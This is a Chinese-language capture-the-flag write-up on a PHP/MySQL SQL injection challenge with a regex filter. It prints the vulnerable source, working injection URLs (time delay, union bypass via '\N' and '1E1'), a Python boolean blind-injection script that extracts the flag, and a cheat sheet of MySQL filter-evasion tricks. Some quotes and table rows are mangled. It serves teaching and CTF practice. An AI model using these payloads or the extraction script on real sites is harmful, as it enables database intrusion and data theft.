这是一个mysql的注入绕过类题目,相对来说是很简单的题目了,由于近来在学习基于正则的waf的绕过技巧,此处就拿此题作引子,引出下面的各种姿势吧.
0x1.先看题目:
[php]
<?php
/*
create table baimaozi (intro varchar(40),name varchar(20),nick varchar(20));
insert into baimaozi values (md5(‘flag’),’wonderkun’,’wonderkun’);
create table flag
(flag
varchar(32));
insert into flag values (md5(‘flag’));
*/
function sanitize($input){
$blacklist = array(‘'‘, ‘“‘, ‘/‘, ‘*’, ‘.’);
return str_replace($blacklist, ‘’, $input);
}
$host = “localhost”;
$user = “root”;
$pass = “123456”;
$db = “sangebaimao”;
$connect = mysql_connect($host, $user, $pass) or die(“Unable to connect”);
mysql_select_db($db) or die(“Unable to select database”);
$name = isset($_GET[‘name’])?sanitize($_GET[‘name’]):die();
$query = ‘select intro from baimaozi where name='‘.$name.’' or nick='‘.$name.’' limit 1’;
echo $query;
if (preg_match(‘/[^a-zA-Z0-9_]union[^a-zA-Z0-9_]/i’, $name) || preg_match(‘/^union[^a-zA-Z0-9_]/i’, $name)){
echo “not allow”;
exit;
}
$result = mysql_query($query);
$row = mysql_fetch_array($result);
echo $row[0];
[/php]
看了一下第一处过滤:
[php]
function sanitize($input){
$blacklist = array(‘'‘, ‘“‘, ‘/‘, ‘*’, ‘.’);
return str_replace($blacklist, ‘’, $input);
}
[/php]
可以看到过滤了,单引号,双引号,/,*,还有点;
再看下面构造的sql语句:
[php]
$query = ‘select intro from baimaozi where name='‘.$name.’' or nick='‘.$name.’' limit 1’;
[/php]
变量是用单引号包裹的,注入的时候却过滤了单引号,这就出现了一个问题,怎么在没有单引号的情况下闭合掉单引号???
思路是这样的,这个sql语句有4个单引号,其中两个两个配对,总共是两对,既然我们没有办法去输入单引号来闭合他原来的单引号,那么我们是不是可以通过干掉单引号来闭合单引号呢?
观察发现真的没有过滤 ‘'(反斜杠),所以我们可以通过反斜杠去干掉单引号:先传入
[php] http://127.0.0.1/index.php?name=\[/php]
打印出来sql语句如下:
[php]select intro from baimaozi where name=’' or nick=’' limit 1[/php]
但是个sql语句报错了,因为第二个单引号被干掉了,第一个单引号和第三个单引号组成了一对,' limit 1 就多余了..所以报错了.
所以考虑把' limit 1 注释掉;
[php]http://127.0.0.1/index.php?name=%23\[/php]
sql语句如下:
[php]select intro from baimaozi where name=’#' or nick=’#' limit 1[/php]
注意:第一个#包裹在单引号中间,没有起到注释的作用,第二个#才是注释.这下就不报错了.
[php]
payload:http://127.0.0.1/index.php?name=%20or%20sleep(3)%23\ //成功延时
[/php]
0x2. 可以注入了,但是怎么出数据??
来看这个正则:[php]
if (preg_match(‘/[^a-zA-Z0-9_]union[^a-zA-Z0-9_]/i’, $name) || preg_match(‘/^union[^a-zA-Z0-9_]/i’, $name)){
echo “not allow”;
exit;
}
[/php]
如果^用于中括号表达式的第一个字符,表示对字符集取反,用于中括号外面表示以这个字符开头:
[^a-zA-Z0-9_]匹配除了这些字符之外的字符,^union 匹配由union开头的字符.
所以想绕过union仅有两种可能:
- $name不是以union开头,但是其前或后至少要有一个字符在[a-zA-Z0-9_]的范围之内.
- $name是用union开头,但是其后面的字符在[a-zA-Z0-9_]的范围之内
解法一:绕过union的限制
某位大牛发现了下面方法:
看到了吗 ? 由于过滤了’.’,所以第一种payload不能用;
给两种payload:
[php]
payload1:http://127.0.0.1/index.php?name=or%20name=\Nunion%20select%20flag%20from%20flag%23\
payload2:http://127.0.0.1/index.php?name=or%20name=1E1union%20select%20flag%20from%20flag%23\
[/php]
解法二:bool盲注
由于比较简单,直接给python代码:
[python]
import requests
perstr=”0123456789abcdef”
flag=’’
for i in range(1,33):
for j in perstr:
url=”http://127.0.0.1/threebaimao/source1.php?name= or 1=if(ascii(substring((select flag from flag),{i},1))={j},1,0)%23\“.format(i=str(i),j=ord(j))
res=requests.get(url)
if “327a6c4304ad5938eaf0efb6cc3e53dc” in res.text :
flag+=j
break
print flag
[/python]
0x3,mysql注入的其他绕过技巧(持续更新中....)
mysql常用的注释
1 | --+ , /**/ , # , -- -, ;%00 , `, |
mysql 过滤了空格的绕过方法
1 | 1.可以用()绕过,但是有局限性,括号是用来包围子查询的,因此任何计算出来的结果都可以用括号包围起来 |
过滤了 = 的绕过:
1 | 1.用函数绕过,: strcmp(),locate(s1,s) , position(s1 in s) , instr(s,s1), greatest() |
等价替换的一些函数
1 | hex() , bin() => ascii() |
绕过逗号的情况
1 | select substr(user()from(1)for(1)) ; |
绕过某些关键字的过滤
1 | select => sel%00ect # 在ctf中出现好几次了,但是这不是通法,至少在我的mysql中是不行的. |
order by 子句的注入:
1 | 1. select user,host from mysql.user order by (case/**/when((1=2))then(user)else(host)end); |
mysql 的一个黑魔法
1 | select {x user} from {x mysql.user}; |